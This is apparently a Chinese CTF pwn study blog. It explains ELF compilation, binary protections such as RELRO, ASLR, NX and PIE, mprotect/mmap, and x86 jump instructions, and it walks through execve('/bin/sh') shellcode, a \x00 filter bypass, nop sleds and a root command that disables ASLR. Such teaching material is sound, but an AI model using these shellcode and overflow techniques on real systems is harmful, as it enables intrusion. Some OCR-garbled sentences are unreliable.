Hot Time Exercising Records
Hot Time Exercising Records
Collection
系统调用号
1 | section .data |
ELF文件编译
1 | nasm -f elf flag.asm -o flag.o//生成flag.o文件 |
注意:编译和执行汇编代码可能依赖于所使用的操作系统和体系结构,上述步骤适用于使用 NASM 汇编器和 ld 链接器的 32 位 x86 系统。根据环境相应地调整编译和链接的命令。
.c文件编译
1 | gcc flag.c -o flag |
含key文件编译
1 | echo "the_key">key//生成写入内容的key文件 |
.s文件编译
1 | gcc flag.s -o flag |
.s 文件是汇编语言源文件的一种常见扩展名。它包含了使用汇编语言编写的程序代码。汇编语言 是一种低级编程语言,用于直接操作计算机的指令集架构。 .s 文件通常由汇编器(Assembler)处 理,将其转换为可执行文件或目标文件。
当使用分号( ; )将命令连接在一起时,它们按照从左到右的顺序逐个执行,无论前面的命令是否 成功。这意味着无论前一个命令是否成功执行,后续的命令都将被执行。
1 | command1 ; command2 ; command3 |
在这个例子中, command1 执行完毕后,无论成功与否,接着会执行 command2 ,然后再执行 command3 。这样,多个命令可以按顺序在一行上执行。 或者也可以使用 & 将两条命令拼接在一起可以实现并行执行,即这两条命令将同时在后台执行。命 令之间使用 & 进行分隔,这种方式下命令的输出可能会相互混合,具体的输出顺序取决于命令的执行速度和系统资源。
真真假假,真亦真,假亦假
1 | system("echo 'flag is here'>>/ctfshow_flag"); |
这个命令将字符串 ‘flag is here’ 追加写入 /ctfshow_flag 文件中。 >> 符号表示以追加的方式写入文件,如果文件不存在则创建新文件。如果 /ctfshow_flag 文件已经存在,那 么该命令会在文件的末尾添加 ‘flag is here’ 。
1 | system("echo 'flag is here'>/ctfshow_flag"); |
这个命令将字符串 ‘flag is here’ 覆盖写入 /ctfshow_flag 文件中。 > 符号表示以覆盖 的方式写入文件,如果文件不存在则创建新文件。如果 /ctfshow_flag 文件已经存在,那么 该命令会将文件中原有的内容替换为 ‘flag is here’ 。 这两个命令都用于将 ‘flag is here’ 写入 /ctfshow_flag 文件中,不同之处在于写入方式的不 同。第一个命令使用追加方式,在文件末尾添加内容;第二个命令使用覆盖方式,将文件内容替换为新 内容。具体使用哪个命令取决于需求和文件操作的预期结果。
使用了 exec 函数来执行 sh 命令,并使用 1>&0 来进行输出重定向。这个命令将标准输出重定向到标准输入,实际上就是将命令的输出发送到后续命令的输入。 具体来说, 1>&0 中的 1 表示标准输出, 0 表示标准输入。通过将标准输出重定向到标准输入,可 以实现将命令的输出作为后续命令的输入。这样可以在执行 sh 命令后,进入一个交互式的Shell环境, 可以在该环境中执行命令并与用户进行交互。
RELRO介绍
RELRO(RELocation Read-Only)是一种可选的二进制保护机制,用于增加程序的安全性。它主要 通过限制和保护全局偏移表(Global Offset Table,简称 GOT)和过程链接表(Procedure Linkage Table,简称 PLT)的可写性来防止针对这些结构的攻击。
RELRO保护有三种状态:
No RELRO:在这种状态下,GOT和PLT都是可写的,意味着攻击者可以修改这些表中的指 针,从而进行攻击。这是最弱的保护状态。
Partial RELRO:在这种状态下,GOT的开头部分被设置为只读(RO),而剩余部分仍然可写。这样可以防止一些简单的攻击,但仍存在一些漏洞。
Full RELRO:在这种状态下,GOT和PLT都被设置为只读(RO)。这样做可以防止对这些结构的修改,提供更强的保护。任何对这些表的修改都会导致程序异常终止。
1 | readfile -S pwn//查表项地址 |
1 | objdump -R pwn//查看目标文件的动态链接命令 |
1 | readelf -l pwn//查看可执行文件或共享库的ELF头和程序头表信息 |
保护卡
ASLR(Address Space Layout Randomization)是一种操作系统级别的安全保护机制,旨在增加 软件系统的安全性。它通过随机化程序在内存中的布局,使得攻击者难以准确地确定关键代码和数据的 位置,从而增加了利用软件漏洞进行攻击的难度。
开启不同等级会有不同的效果:
- 内存布局随机化: ASLR的主要目标是随机化程序的内存布局。在传统的内存布局中,不同的 库和模块通常会在固定的内存位置上加载,攻击者可以利用这种可预测性来定位和利用漏洞。 ASLR通过随机化这些模块的加载地址,使得攻击者无法准确地确定内存中的关键数据结构和 代码的位置。
- 地址空间范围的随机化: ASLR还会随机化进程的地址空间范围。在传统的地址空间中,栈、 堆、代码段和数据段通常会被分配到固定的地址范围中。ASLR会随机选择地址空间的起始位 置和大小,从而使得这些重要的内存区域在每次运行时都有不同的位置。
- 随机偏移量: ASLR会引入随机偏移量,将程序和模块在内存中的相对位置随机化。这意味着 每个模块的实际地址是相对于一个随机基址偏移的,而不是绝对地址。攻击者需要在运行时发 现这些偏移量,才能准确地定位和利用漏洞。
- 堆和栈随机化: ASLR也会对堆和栈进行随机化。堆随机化会在每次分配内存时选择不同的起 始地址,使得攻击者无法准确地预测堆上对象的位置。栈随机化会随机选择栈帧的起始位置, 使得攻击者无法轻易地覆盖返回地址或控制程序流程。 ALSR全局配置/proc/sys/kernel/randomize_va_space有三种情况: 0表示关闭ALSR 1表示部分开启(将mmap的基址、stack和vdso页面随机化) 2表示完全开启
1 | cat /poc/sys/kernel/randomize_va_space//查看alsr |
1 | //sudo su进入root模式后 //ehco 0 > /poc/sys/kernel/randomize_va_space//关闭alsr |
FORTIFY_SOURCE
FORTIFY_SOURCE 是一个 C/C++ 编译器提供的安全保护机制,旨在防止缓冲区溢出和其他与字符 串和内存操作相关的安全漏洞。它是在编译时自动插入的一组额外代码,用于增强程序对于缓冲区溢出 和其他常见安全问题的防护。
FORTIFY_SOURCE 提供了以下主要功能:
- 运行时长度检查:FORTIFY_SOURCE 会在编译时自动将长度检查代码插入到一些危险的库函数中,例如 strcpy 、 strcat 、 sprintf 等。这些代码会检查目标缓冲区的长度,以确保操作不会导致溢出。如果检测到溢出情况,程序会立即终止,从而防止潜在的漏洞利用。
- 缓冲区溢出检测:FORTIFY_SOURCE 还会将额外的保护机制添加到一些敏感的库函数中,例如 memcpy 、 memmove 、 memset 等。这些机制可以检测传递给这些函数的源和目标缓冲区是否有重叠,并防止潜在的缓冲区溢出。
- 安全警告和错误报告:当 FORTIFY_SOURCE 检测到潜在的缓冲区溢出或其他安全问题时,它会生成相应的警告和错误报告。 FORTIFY_SOURCE 提供了一层额外的安全保护,它可以在很大程度上减少常见的缓冲区溢出和字符串操作相关的安全漏洞。
signal(11, (__sighandler_t)sigsegv_handler);函数当发生 对存储的无效访问时,会把stderr打印输出,即将flag的值打印输出
mprotect函数(静态编译时可搜索【函数很多】)
1 | file --(filename) checksec --(filename) |
作用:修改内存的权限为可读可写可执行
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
1)PROT_READ:表示内存段内的内容可读;
2)PROT_WRITE:表示内存段内的内容可些;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问。
5) prot=7 是可读可写可执行 指定的内存区间必须包含整个内存页(4K)。
区间开始的地址start必须是一个内存页的起始地址, 并且区间长度len必须是页大小的整数倍。对于静态程序本身,地址是不会变的。 指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址, 并且区间长度len必须是页大小的整数倍。因为程序本身也是静态编译,所以地址是不会变的。
起始地址判断方法 :①测试地址&0xfff结果为0 ②%4096结果为0(一页为4k=4096)
找到溢出点 程序无后门则自动生成shellcode(条件允许可ret2libc)利用mprotect函数+gadgets攻击(注意参数暂时小家【一次ret最好】)通过read函数将shellcode读入程序段
read函数原型:
1 | ssize_t read(int fd, void *buf, size_t count); |
fd 设为0时就可以从输入端读取内容 设为0
buf 设为我们想要执行的内存地址
设为我们已找到的内存地址size 适当大小就可以 只要够读入shellcode就可以,设置大点无所谓
.plt节
plt(Procedure Linkage Table),.plt节包含了从动态链接器调用调用从共享库中导入函数所必需的代码,该节中包含代码,节类型被标记为SHT_PROGBITS
.got.plt
也就是我们所说的got表,.got.plt节保留了全局偏移表。.got和.plt起提供了对导入共享库函数的访问入口,由动态链接器在运行时进行修改。如果攻击者获取到了堆或.bss漏洞的一个指针大小的写原语
就可以对该节进行任意修改.got.plt跟程序执行有关,该节类型被标记位SHT_PROGBITS
.rel.*
.rel.”是一种通用的命名模式,用于表标与重定位(relocation)相关的节 (section)名称。在编译器和链接器中,重定位是将目标文件中的符号引用与符号定义关联起来的过程。
在可执行文件或共享库中,有许多不同的节(例如代码节、数据节、符号表节等).rel.节通常用于存储重定位表(relocation table) ,其中包含了需要进行重定位的符号引用和相应的重定位类型。
重定位表记录了加载和链接过程中需要修复的位置,以便正确解析符号引用,通过读取重定位表,系统或链接器可以根据符号的定义位置来计算并更新符号引I用的实队示地i1
.re1.*节的具体命名方式可能因不同的工具链和目标文件格式而有所不同,例如,在ELF格式的目标文件中,.rel.text表示与代码节(.text)相关的固定位表。
常见的.rel.节包括:
.rel.text :与代码节相关的重定位表.
.rel.data:与数据节相关的重定位表
·.rel.bss:与未初始化数据节(8SS)相关的重定位表
.rel.rodata ;与只读数据节相关的重定位表
.strtab节
字符串表,其包括.symtabl和.debug节区中的符号表以及节头部的节名称。表中的内容会被.symtab的EIN_Sym(Eilf32_ SymRElf64_Sym)结构中的st_name条目引用
objdump -R 是一个用于查看目标文件或可执行文件中重定位表 (relocation table)的命令。该命令会显示出目标文件中涉及到的外部符号的重定位信息
重定位表记录了需要在船接或加载过程中修复的位置,以便正确解析外部符号的地址。通过查看重定位表,可以了解到程序中哪些位置需要进行重定位以及涉及的外部
readelfS 是一个用于直看目标文件或可执行文件中节(section)信息的命令。它可以显示出目标文件的名个节的详细信息,包括名称大小、偏移量、链接属性等。
puts遇到’\x00’才停止
可辅助打印出函数变量相邻关键信息.(例 没读入puts函数最后一个值导致程序在puts时连带下方紧联系的关键值【用户登录密码】)
32位shellcode
Linux执行execve(“/bin/sh”,NULL,NULL)
1 | push 0x68 |
将0x68(104)压入栈中,这是为了将后续的字符串”/bin/sh”放入栈中,以便后续调用.
1 | push 0x732f2f2f |
由于x86栈存储为小端序,此步是为了将”/bin/sh”的前半部分字符逆序压入栈中即”sh//“
1 | push 0x6e69622f |
接下来就是后半部分喽(”/bin”)
1 | mov ebx,esp |
将”/bin/sh”起始地址复制给ebx.ebx将作为execve调用的第一个参数,即要执行的可执行文件的路径.
1 | xor ecx,ecx |
^操作将ecx和ebx置为0,目的就是将此俩寄存器作为调用的第二个和第三个参数,即命令行参数和环境变量.(0->NULL 无此两变量)
1 | push 0xB |
将值11(0xb)压入栈中,弹到eax寄存器中,作为系统调用号(这么方便当然不止这一种喽😀)
1 | int 0x80 |
触发中断(前面的种种埋伏(eax,ebx, ecx, edx)就是为了满足系统调用 启动一个新shell)
64位shellcoede
1 | push rax |
压入rax值 保留 为后续使用
1 | xor rdx,rdx |
将两寄存器置0,作为execve第二个和第三个参数(满足64位调用规则)
1 | mov rbx,'/bin/sh' |
将’bin/sh’赋值给rbx
1 | push rbx#"/bin/sh"的地址 |
给execve()传调用的第一个参数传递可执行文件路径(“/bin/sh”)
1 | push rsp |
将”/bin/sh”的地址弹到rdi寄存器 方便execve()调用
1 | mov al,59 |
设置系统调用号
1 | syscall |
触发系统调用
注意 寄存器值的设置 x86(eax,ebx,ecx,edx) x64(rax,rdi,rsi,rdx)
小坑记录
开PIE 地址随机
NX没打开查看也没有后门 初想法是直接利用gets然后返回到v4(利用pwntolls生成的shellcoede传入v4地址)
exp:
1 | from pwn import * |
写的时候忘记recvuntil(’]’,drop = True)略略略w
发现EOF 感觉思路没问题 查看汇编和动调
gets(v4)后有leave retn指令–>相当于mov rbp,rsp pop rbp retn 占用了24个字节 因此我们不能使用v4后面的24bytes
生成的shellcode对rsp进行了其他操作所以v4后的8bytes也不能存放.
修正后的exp:
1 | from pwn import * |
获取shellcode的几种方法
https://www.freebuf.com/articles/system/237300.html
使用read()–>限制shellcode长度 注意计算shellcode长度
PIE打开 地址随机
read限制输入0x38(36)大小 buf可分配大小为0x10 在read处存在明显溢出 偏移为0x10+8(24) 因此shellcode大小必在24内(更短的也类似计算)
? 遇到shellcode长度计算为23 buf_addr + 32大小开始注入
(整字节注入喽 小了不够 大了覆盖其他区域出错)
1 | /* |
有限shellcode 获取网站https://www.exploit-db.com/shellcodes/43550
有时开启某种保护不代表这条路不通
NX打开 真的不可自行写入吗?
无后门 但buf用mmap分配一块连续的内存空间(1024) 具有可读可写可执行权限(7) 可直接在这里传入shellcode拿到shell (buf用mmap映射了地址)
FULL RELRO
PIE enable
看汇编(好长一串啊 烦烦烦 静下心慢慢看噜 谁让我这么菜捏ww)
这就是主函数吗!
🏀筐 read(0,buf,0x400)
🌈框 判读读入var长度,如果>0条跳转至loc_11AC,<=跳转至locret_1254
loc_11AC
将rbp+var_4的位置置为0,然后跳转置loc_123A
loc_123A
如果0<输入参数长度,跳转至loc_11B8,失败则call字符串地址执行,即写入shellcode
loc_11B8
cdqe使用eax的最高位拓展rax高32位的所有位
movzx按照无符号类型传送+扩展(16-32)
eax是32位寄存器,ax是eax的低16位,ah是ax的高8位,而al是ax的低8位
上述大致意思是将我们输入字符串的每一位进行比较,如果不在0x60-0x7A范围内就跳转,loc_11DA和loc_1236就是范围(均是<=跳转)
补充
汇编语言中条件转移语句:JL/JNGE, 用于有符号数的条件转移指令,小于\不大于且不等于转移;ZF=0,且SF⊕OF=1。
汇编程序设计中jl是一个条件跳转指令,全名jump less,意为小于跳转,数比较类似的还有还有jg、ja、jb等jg jump great 有符号数大于跳转,无符号数比较ja above 大于,jb below 小于,无符号数比较条件跳转根据的是标志位,条件跳转语句前面一般都有一些对标志位有影响的语句,如cmp ,test ,sub等
86 指令集包含大量的条件跳转指令。它们能比较有符号和无符号整数,并根据单个 CPU 标志位的值来执行操作。条件跳转指令可以分为四个类型:
- 基于特定标志位的值跳转
- 基于两数是否相等,或是否等于(E)CX 的值跳转
- 基于无符号操作数的比较跳转
- 基于有符号操作数的比较跳转
下表展示了基于零标志位、进位标志位、溢出标志位、奇偶标志位和符号标志位的跳转。
助记符 | 说明 | 标志位/寄存器 | 助记符 | 说明 | 标志位/寄存器 |
---|---|---|---|---|---|
JZ | 为零跳转 | ZF=1 | JNO | 无溢出跳转 | OF=0 |
JNZ | 非零跳转 | ZF=0 | JS | 有符号跳转 | SF=1 |
JC | 进位跳转 | CF=1 | JNS | 无符号跳转 | SF=0 |
JNC | 无进位跳转 | CF=0 | JP | 偶校验跳转 | PF=1 |
JO | 溢出跳转 | OF=1 | JNP | 奇校验跳转 | PF=0 |
1) 相等性的比较
下表列出了基于相等性评估的跳转指令。有些情况下,进行比较的是两个操作数;其他情况下,则是基于 CX、ECX 或 RCX 的值进行跳转。表中符号 leftOp 和 rightOp 分别指的是 CMP 指令中的左(目的)操作数和右(源)操 作数:
助记符 | 说明 |
---|---|
JE | 相等跳转 (leftOp=rightOp) |
JNE | 不相等跳转 (leftOp M rightOp) |
JCXZ | CX=0 跳转 |
JECXZ | ECX=0 跳转 |
JRCXZ | RCX=0 跳转(64 位模式) |
CMP leftOp,rightOp
操作数名字反映了代数中关系运算符的操作数顺序。比如,表达式 X< Y 中,X 被称为 leftOp,Y 被称为 rightOp。
尽管 JE 指令相当于 JZ(为零跳转),JNE 指令相当于 JNZ(非零跳转),但是,最好是选择最能表明编程意图的助记符(JE 或 JZ),以便说明是比较两个操作数还是检查特定的状态标志位。
下述示例使用了 JE、JNE、JCXZ 和 JECXZ 指令。仔细阅读注释,以保证理解为什么条件跳转得以实现(或不实现)。
示例 1:
1 | mov edx, 0A523h |
示例 2:
1 | mov bx,1234h |
示例 3:
1 | mov ex, 0FFFFh |
示例4:
1 | xor ecx,ecx |
2) 无符号数比较
基于无符号数比较的跳转如下表所示。操作数的名称反映了表达式中操作数的顺序(比如 leftOp < rightOp)。下表中的跳转仅在比较无符号数值时才有意义。有符号操作数使用不同的跳转指令。
助记符 | 说明 | 助记符 | 说明 |
---|---|---|---|
JA | 大于跳转(若 leftOp > rightOp) | JB | 小于跳转(若 leftOp < rightOp) |
JNBE | 不小于或等于跳转(与 JA 相同) | JNAE | 不大于或等于跳转(与 JB 相同) |
JAE | 大于或等于跳转(若 leftOp ≥ rightOp) | JBE | 小于或等于跳转(若 leftOp ≤ rightOp) |
JNB | 不小于跳转(与 JAE 相同) | JNA | 不大于跳转(与 JBE 相同) |
3) 有符号数比较
下表列岀了基于有符号数比较的跳转。下面的指令序列展示了两个有符号数值的比较:
助记符 | 说明 | 助记符 | 说明 |
---|---|---|---|
JG | 大于跳转(若 leftOp > rightOp) | JL | 小于跳转(若 leftOp < rightOp) |
JNLE | 不小于或等于跳转(与 JG 相同) | JNGE | 不大于或等于跳转(与 JL 相同) |
JGE | 大于或等于跳转(若 leftOp ≥ rightOp) | JLE | 小于或等于跳转(若 leftOp ≤ rightOp) |
JNL | 不小于跳转(与 JGE 相同) | JNG | 不大于跳转(与 JLE 相同) |
1 | mov al, +127 ;十六进制数值 7Fh |
由于无符号数 7Fh 小于无符号数 80h,因此,为无符号数比较而设计的 JA 指令不发生跳转。另一方面,由于 +127 大于 -128,因此,为有符号数比较而设计的 JG 指令发生跳转。
对下面的代码示例,阅读注释,以保证理解为什么跳转得以实现(或不实现):
示例 1:
1 | mov edx,-1 |
示例 2:
1 | mov bx,+ 32 |
示例 3:
1 | mov ecx, 0 |
示例 4:
1 | mov ecx, 0 |
我说又是新盲区(樂)
NX开 部分RELRO
buf溢出
1 | void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset); |
addr
:指定映射的起始地址,0LL 表示让系统选择适当的地址。length
:指定映射区域的长度,4096uLL 表示映射区域的大小为 4096 字节。prot
:指定映射区域的保护方式,7 表示可读、可写和可执行。flags
:指定映射区域的标志,34 表示映射为私有(不与其他进程共享)且延迟分配物理内存。fd
:指定要映射的文件描述符,0 表示没有关联的文件,仅映射匿名内存区域。offset
:指定文件映射的偏移量,0LL 表示从文件的起始位置开始映射。
check() 对传入shellcode 进行逐字符检查 检查到*i == 0是退出 可以使用\x00绕过
跟进unk_400F20发现有足够空间写入shellcode(不顺利可能还需绕过以及shellcode长度限制)
\x00B后面加上一个字符, 对应一个汇编语句.所以我们可以通过\x00B\x22、\x00B\x00 、\x00J\x00等等来绕过此检查.
另一种常见绕过思路,我们绕过\x00即可.那怎么绕过呢?
脚本小子!(找汇编中的’\x00’)
exp:
1 | from pwn import * |
nop sled
一种可以破解栈随机化的缓冲区溢出攻击方式。
在实际的攻击代码前注入很长的 nop 指令 (无操作,仅使程 序计数器加一)序列, 只要程序的控制流指向该序列任意一处,程序计数器逐步加一,直到到达攻击代码的存在的地址, 并执行。
由于栈地址在一定范围的随机性,攻击者不能够知道攻击代码注入的地址,而要执行攻击代码需要 将函数的返回地址更改为攻击代码的地址(可通过缓冲区溢出的方式改写函数返回地址)。所以,只能在一定范围内(栈随机导致攻击代码地址一定范围内随机)枚举攻击代码位置(有依据的猜)
1 | 不用 nop sled , 函数返回地址 -------> 攻击代码。 |
本地缓冲区大小位0x1000
v2 = rand() % 1337 - 668; :这行代码使用 rand 函数生成一个随机数,并通过取模运算将其 限制在范围 0 到 1336 之间。然后,从结果中减去 668,得到一个范围在 -668 到 668 之间的随机整 数,并将其存储在变量 v2 中
较低地址 | => | => | => | |
---|---|---|---|---|
stk[ebp-0x15] | ebp=>(旧ebp) | return addr | padding[0x10] | buffer[0x1000] |
mmap()函数主要三个用途
1.将一个普通文件映射到内存中。通常需要对文件进行频繁读写时使用,使得内存读写取代I/O读写,获得较高性能。
2.将特殊文件进行匿名内存映射,为关联进程提供共享内存空间
3.为无关联的进程提供共享内存空间,一般也是将一个普通文件映射到内存中。
1 | seccomp提示沙盒检查 |